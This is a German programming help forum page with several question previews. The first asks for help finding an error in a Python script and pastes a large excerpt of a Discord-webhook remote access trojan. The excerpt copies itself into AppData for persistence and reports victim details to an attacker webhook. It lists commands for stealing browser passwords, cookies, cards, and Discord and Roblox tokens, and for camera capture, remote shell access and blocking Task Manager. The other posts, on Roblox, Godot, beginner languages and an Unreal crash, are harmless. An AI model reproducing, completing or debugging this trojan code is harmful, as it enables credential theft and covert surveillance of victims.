Programmieren & Softwareentwicklung

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Python Error aber wo?

Ich hab ein Python Skript da ist irgendwo ein Error aber ich weiß nicht wo das Problem ist. Mir wird der Error aber auch nicht angezeigt daher dass der Skript in den ersten 6000 Zeilen überall rot ist. Also der Text ist rot. Daher ist es nicht zu sehen aber der Stript schließt sich direkt. Daher weiß ich, dass da etwas nicht richtig Ich sehe nur, dass in der Zeile zwischen bis dahin erros sind, aber nicht wo genau if file_name not in secret_names: while True: file_name_secret = random.choice(secret_names) if ext not in file_name_secret: continue else: break path_name = random.choice(path_appdata) "\\Windows" if not os.path.isdir(path_name): os.mkdir(path_name) script_path = f"{path_name}\\{file_name_secret}" shutil.copy(sys.argv[0], script_path) if ext == "py": os.system(f"python {script_path}") sys.exit() elif ext == "exe": os,system(f"start {script_path}") sys.exit() else: os.system(f"start {script_path}") sys.exit() def NewConnection(w3bh00k_ur1): try: client = SyncWebhook.from_url(w3bh00k_ur1) embed = discord.Embed( title= f'New Connection !', description= f"""``` Status : Connected Day : {current_time_day()} Hour : {current_time_hour()} Hostname : {hostname_pc} Username : {username_pc} Country : {country} Ip : {ip_address_public} File Name : {file_name} ```""", color= color_embed ) client.send(embed=embed, username=username_embed, avatar_url=avatar_embed) except: pass def HelpCommand(w3bh00k_ur1, prefix): client = SyncWebhook.from_url(w3bh00k_ur1) embed = discord.Embed( title= f'R4t Commands:', color= color_embed ) embed.add_field(name=f"{prefix}help", value=f"This.", inline=False) embed.add_field(name=f"{prefix}system_info", value=f"Steal: User, System, Ip, Disk, Screen, Location, etc.", inline=False) embed.add_field(name=f"{prefix}discord_token", value=f"Steal: Token, Email, Phone, Id, Username, etc. ", inline=False) embed.add_field(name=f"{prefix}browser_steal", value=f"Steal: Passwords, History, Cookies, Downloads, Cards, etc. ", inline=False) embed.add_field(name=f"{prefix}roblox_cookie", value=f"Steal: Cookie, Id, Username, etc. ", inline=False) embed.add_field(name=f"{prefix}camera_capture", value=f"Record the victim's computer camera.", inline=False) embed.add_field(name=f"{prefix}screenshot", value=f"Capture the victim's computer screen.", inline=False) embed.add_field(name=f"{prefix}shutdown", value=f"Turn off the victim's computer.", inline=False) embed.add_field(name=f"{prefix}terminal `[cmd]`", value=f"Write to the victim's computer terminal.", inline=False) embed.add_field(name=f"{prefix}open_url `[url]`", value=f"Launch a web page on the victim's computer.", inline=False) embed.add_field(name=f"{prefix}block_website `[url]`", value=f"Blocks a website on the victim's computer.", inline=False) embed.add_field(name=f"{prefix}open_calculator `[number]`", value=f"Opens the calculator on the victim's computer a certain number of times.", inline=False) embed.add_field(name=f"{prefix}block_task_manager", value=f"Blocks the task manager of the victim's computer.", inline=False) embed.add_field(name=f"{prefix}voice `[text]`", value=f"Plays a voice with the chosen text on the victim's computer.", inline=False) embed.set_footer(text=footer_text, icon_url=avatar_embed) client.send(embed=embed, username=username_embed, avatar_url=avatar_embed) hid3_pr0gr4m() try: St4rtup() except: pass intents = discord.Intents.default() intents.guilds = True intents.messages = True intents.message_content = True

Material im Terrain Editor (Roblox Studio)?

Hallo miteinander, ich habe gerade eben ein eigenes Material in Roblox Studio erstellt. Dieses kann ich auf einzelne Parts ohne Probleme anwenden. Jetzt möchte ich das Material aber auch im Terrain Editor verwenden können, weiß aber nicht so recht, wie ich das machen soll. Nach längerem recherchieren habe ich erfahren, dass ich dafür den Material Manager Benötige, diesen finde ich aber nicht. Kann mir eventuell jemand helfen schon mal Danke im Voraus. MfG

Godot4 Code funktioniert nicht. Warum?

Das problem ist das wenn der Blob(Gegner) an einem Hindernis springt nur in der y Achse hochspringt und sich wieder umdreht anstadt so zu springen, dass er auf das Hindernis landet. Er muss leicht schräg springen also (velocity.y und velocity.x) aufeinmahl. Ist egal was ich gemacht hab es hat bei mir nicht funktioniert. Vielen Dank Mein Code: extends CharacterBody2D const GRAVITY = 400 const JUMP_POWER = 160 @onready var sprite = $AnimatedSprite2D @onready var ray_left = $RayCastLeft @onready var ray_right = $RayCastRight var speed = 20 var if_is_alive = true var jump_x = 0 var direction = 1 func _ready(): velocity.x = speed sprite.play("walk") func _physics_process(delta): if if_is_alive == false: return velocity.y += GRAVITY * delta if is_on_floor(): if sprite.animation == "jump": on_landing() velocity.y = 0 if is_on_wall() or is_over_abyss(): jump() move_and_slide() func on_landing(): sprite.play("walk") velocity.x /= 1 velocity.x = speed * direction *1 if floor(position.x) == jump_x: turn() func on_stomp(): sprite.play("die") if_is_alive = false func turn(): direction *= -1 velocity.x = speed * direction *1 sprite.flip_h = not sprite.flip_h func jump(): sprite.play("jump") velocity.y = -JUMP_POWER velocity.x = speed * direction *1 jump_x = floor(position.x) func is_over_abyss(): if velocity.x < 0: ray_left.force_raycast_update() return ray_left.get_collider() == null else: ray_right.force_raycast_update() return ray_right.get_collider() == null func _on_animated_sprite_2d_animation_finished() -> void: if sprite.animation == "die": queue_free() prints()

Mit welcher Programmiersprache sollte man als Anfänger starten?

Was ich irgendwann erreichen möchte ist, zumindest etwas komplexere Apps für Android entwickeln zu können. Wir haben in der Schule, als wir noch Informatik Unterricht hatten Python angefangen, aber wir sind nicht weit gekommen. Sollte ich damit weiter machen oder lieber eine andere Sprache, Flutter soll ja sehr nützlich sein wenn man für Android entwickeln will? Gibt es, außer der Programmiersprache selbst noch Grundlagen die ich verstehen muss? Wir haben in der Schule leider nicht wirklich die Hintergründe gelernt, ich könnte nichtmal VS Code ohne Anleitung vom Lehrer für die Python Entwicklung einrichten.

Unreal Engine 5.5 Crash?

ich habe die Geforce RTX 4090 und intel core i9 13900KF jedes mal z.b wenn ich Metahumans benutze funktioniert alles aber irgendwann passiert dann aufeinmal ein Crash und ich kann das Projekt nicht mehr öffnen. Kann mir vielleicht jemand helfen? Unhandled Exception: EXCEPTION_ILLEGAL_INSTRUCTION log: ..... [2024.11.30-11.20.27:148][ 0]LogAssetRegistry: Display: Asset registry cache written as 96.1 MiB to G:/ww2scene/meum/Intermediate/CachedAssetRegistry_*.bin [2024.11.30-11.20.28:289][ 0]LogSkeletalMesh: Building Skeletal Mesh m_med_unw_body... [2024.11.30-11.20.28:452][ 0]LogSkeletalMesh: Skeletal mesh [/Game/MetaHumans/hi2ler/Body/m_med_unw_body.m_med_unw_body]: The derived data key is different after the build. Save the asset to avoid rebuilding it everytime the editor load it. [2024.11.30-11.20.28:457][ 0]LogSkeletalMesh: Built Skeletal Mesh [0.17s] /Game/MetaHumans/hi2ler/Body/m_med_unw_body.m_med_unw_body [2024.11.30-11.20.29:517][ 0]LogSkeletalMesh: Building Skeletal Mesh m_med_nrw_body... [2024.11.30-11.20.29:666][ 0]LogSkeletalMesh: Building Skeletal Mesh hi2ler_FaceMesh... [2024.11.30-11.20.29:667][ 0]LogSkeletalMesh: Building Skeletal Mesh Kellan_FaceMesh... [2024.11.30-11.20.29:720][ 0]LogSkeletalMesh: Skeletal mesh [/Game/MetaHumans/Kellan/Body/m_med_nrw_body.m_med_nrw_body]: The derived data key is different after the build. Save the asset to avoid rebuilding it everytime the editor load it. [2024.11.30-11.20.29:723][ 0]LogSkeletalMesh: Built Skeletal Mesh [0.21s] /Game/MetaHumans/Kellan/Body/m_med_nrw_body.m_med_nrw_body [2024.11.30-11.20.29:820][ 0]LogAudio: Display: Audio Device (ID: 1) registered with world &apos;Main&apos;. [2024.11.30-11.20.29:820][ 0]LogChaosDD: Creating Chaos Debug Draw Scene for world Main [2024.11.30-11.20.29:868][ 0]LogSkeletalMesh: Display: Waiting for skinned assets to be ready 0/1 (meum_FaceMesh) ...
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